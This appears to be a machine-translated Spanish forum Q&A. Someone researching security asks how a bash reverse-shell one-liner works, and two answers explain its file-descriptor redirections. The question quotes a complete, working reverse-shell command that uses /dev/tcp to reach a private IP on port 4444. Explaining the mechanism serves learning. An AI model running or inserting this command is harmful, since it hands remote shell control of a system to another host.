¿Cómo funciona esta redirección de comandos?

¿Cómo funciona esta redirección de comandos?

Estoy investigando un poco sobre seguridad y me preguntaba cómo funciona el siguiente fragmento en sistemas operativos basados ​​en Unix:

exec 5<>/dev/tcp/192.168.159.150/4444; cat <&5 | while read line; do \$line 2>&5 >&5; echo -n \$(pwd)'# ' >&5; done

soy totalmente consciente dequéeste código lo hace (es decir, establece un shell inverso a 192.168.159.150 a través del puerto 4444) pero no entiendo qué hacen estas secciones:

  • exec 5<>
  • cat <&5
  • 2>&5 >&5

Y en general, cómo encajan estas cosas para producir el caparazón que veo.

¿Alguien podría ayudarme a explicar esto o indicarme la dirección correcta para entenderlo?

Gracias

Respuesta1

Un resumen rápido:

exec 5<>está abriendo un nuevo identificador de archivo para lectura y escritura y luego nombrándolo5

cat <&5está leyendo desde ese identificador de archivo recién abierto

2>&5 >&5está redirigiendo la salida del identificador de archivo 2(stderr) y del identificador de archivo 1(stdout) al identificador de archivo 5. En 1este caso, está implícito ya que no se proporcionó un número de identificador de archivo en la segunda redirección.

Respuesta2

Algunas partes de tu pregunta están respondidas.aquí

Pero

  1. Esto define un nuevo descriptor de archivo con el número 5. Por cierto, 0 es STDIN, 1 es STDOUT, 2 es descriptores de archivo STDERR.
  2. Haga eco de la información, que se recibe vía TCP, IP 192.168.159.150, puerto 4444
  3. Envíe STDERR y STDOUT al controlador de archivos 5, es decir, a la red

información relacionada